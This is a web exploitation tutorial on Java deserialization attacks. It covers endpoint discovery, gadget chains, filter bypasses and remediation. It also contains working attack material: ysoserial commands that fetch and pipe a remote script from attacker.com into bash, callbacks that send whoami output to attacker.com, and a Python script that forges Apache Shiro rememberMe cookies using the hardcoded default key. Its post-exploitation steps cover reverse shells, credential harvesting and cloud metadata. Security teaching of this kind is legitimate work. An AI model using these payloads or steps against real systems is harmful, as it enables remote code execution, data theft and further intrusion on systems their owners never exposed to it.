Java Deserialization Attacks: From Gadget Chains to RCE

Understanding and exploiting Java deserialization vulnerabilities - identifying vulnerable endpoints, building gadget chains with ysoserial, and exploiting real-world applications.

How Java Serialization Works

Java’s ObjectInputStream.readObject() reconstructs objects from byte streams. The serialized format starts with the magic bytes AC ED 00 05 (hex) or rO0AB (base64). When readObject() is called on untrusted data, the attacker controls which classes are instantiated and how their methods execute during deserialization.

Finding Deserialization Endpoints

Common Locations

Technology Where to Look
Java RMI Port 1099, any RMI endpoint
JMX Port 9010-9012, MBean server
JBoss/WildFly /invoker/JMXInvokerServlet, /invoker/EJBInvokerServlet
WebLogic /wls-wsat/*, T3 protocol on port 7001
Jenkins CLI port, /cli endpoint
Apache Shiro rememberMe cookie (AES-CBC encrypted serialized data)
ViewState (.NET) __VIEWSTATE parameter (if MAC disabled)
Custom apps Any parameter containing base64 that decodes to AC ED

Detection

# Scan for serialized data in HTTP traffic
# Look for base64 starting with rO0AB
grep -rn "rO0AB" proxy_logs.txt

# Check raw bytes for AC ED 00 05
xxd suspicious_param | head

Understanding Gadget Chains

A gadget chain is a sequence of existing Java classes (already on the classpath) whose methods, when triggered during deserialization, lead to dangerous operations like command execution.

The Chain Concept

readObject() → ClassA.readObject() calls method X
  → ClassB.method X triggers method Y  
    → ClassC.method Y calls Runtime.exec()

The attacker doesn’t inject new code - they arrange existing library classes so their deserialization callbacks chain together to reach a dangerous sink.

Common Gadget Libraries

Library Gadget Chain Sink
Commons Collections 3.1 CC1, CC5, CC6, CC7 InvokerTransformer → Runtime.exec()
Commons Beanutils CB1 BeanComparator → Runtime.exec()
Spring Framework Spring1, Spring2 MethodInvokeTypeProvider
Groovy Groovy1 MethodClosure → Runtime.exec()
JDK (7u21) JDK7u21 AnnotationInvocationHandler
Hibernate Hibernate1 Getter → TemplatesImpl
ROME ROME ObjectBean → TemplatesImpl

Exploitation with ysoserial

ysoserial generates serialized payloads for known gadget chains:

# Generate payload for Commons Collections
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.bin

# Base64 encode for HTTP parameter
base64 -w0 payload.bin > payload.b64

# Send via curl
curl -X POST http://target.com/api/deserialize \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.bin

Blind Exploitation

Often you can’t see command output. Use these techniques to confirm RCE:

# DNS callback (most reliable)
java -jar ysoserial.jar CommonsCollections6 'nslookup $(whoami).attacker.com'

# HTTP callback
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)'

# Sleep-based (time difference)
java -jar ysoserial.jar CommonsCollections6 'sleep 10'

Real-World: Apache Shiro CVE-2016-4437

Apache Shiro’s “Remember Me” cookie contains AES-CBC encrypted serialized Java objects. The default encryption key is hardcoded: kPH+bIxk5D2deZiIxcaaaA==

Exploitation

import base64
from Crypto.Cipher import AES

# Shiro default key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

# Generate ysoserial payload
payload = open("payload.bin", "rb").read()

# Pad to AES block size
pad = 16 - (len(payload) % 16)
payload += bytes([pad]) * pad

# Encrypt
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = iv + cipher.encrypt(payload)

# Set as cookie
cookie = base64.b64encode(encrypted).decode()
# Send: Cookie: rememberMe=<cookie>

Bypassing Deserialization Filters

Modern Java includes ObjectInputFilter (JEP 290) that can whitelist/blacklist classes during deserialization. Bypass strategies:

JDK-Only Gadgets

Some chains use only JDK classes that are always allowed. JDK7u21 chain uses AnnotationInvocationHandler + TemplatesImpl.

Look-Ahead Deserialization

Tools like SerialKiller and NotSoSerial inspect classes before deserializing. Sometimes they only check the first class in the stream - nested objects may bypass the filter.

Alternative Formats

If Java serialization is filtered, check for:

  • XML deserialization (XStream) → similar gadget chains
  • YAML deserialization (SnakeYAML) → !!javax.script.ScriptEngineManager
  • JSON (Jackson, Fastjson) → polymorphic type handling

Post-Exploitation

Once you have command execution via deserialization:

  1. Establish a proper reverse shell (not through the serialization endpoint)
  2. Check the application’s server.xml or application.properties for database credentials
  3. Enumerate the internal network - Java apps often have access to internal services
  4. Check for AWS/GCP metadata if cloud-hosted
  5. Look for other applications using the same vulnerable library version

Remediation

  • Never deserialize untrusted data
  • Implement ObjectInputFilter (JEP 290) with strict allowlists
  • Update vulnerable libraries (Commons Collections ≥ 3.2.2, ≥ 4.1)
  • Use JSON/Protocol Buffers instead of Java serialization
  • Deploy RASP (Runtime Application Self-Protection) to detect exploitation
  • Monitor for AC ED 00 05 / rO0AB in HTTP parameters

Java deserialization is one of the most impactful vulnerability classes - a single endpoint can give you RCE on the server. If you find serialized data in any HTTP parameter or cookie, test it immediately with ysoserial.

← Home More Web exploitation →